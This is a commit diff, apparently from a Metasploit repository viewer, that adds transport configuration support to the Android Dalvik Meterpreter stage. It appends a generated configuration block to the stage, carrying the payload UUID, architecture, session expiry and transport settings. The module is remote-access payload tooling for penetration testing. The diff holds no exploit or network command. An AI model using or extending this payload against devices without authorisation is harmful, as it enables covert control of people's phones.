Add transport configuration support
parent
e796e56c6c
commit
0493ba83a0
|
@ -7,9 +7,10 @@ require 'msf/core'
|
|||
require 'msf/core/payload/dalvik'
|
||||
require 'msf/base/sessions/meterpreter_android'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
module Metasploit3
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -44,6 +45,25 @@ module Metasploit3
|
|||
|
||||
# Name of the class to load from the stage, the actual jar to load
|
||||
# it from, and then finally the meterpreter stage
|
||||
java_string(clazz) + java_string(metstage) + java_string(met)
|
||||
java_string(clazz) + java_string(metstage) + java_string(met) + java_string(generate_config(opts))
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
ascii_str: true,
|
||||
arch: opts[:uuid].arch,
|
||||
expiration: datastore['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: [transport_config(opts)]
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the XML version of it
|
||||
config.to_b
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue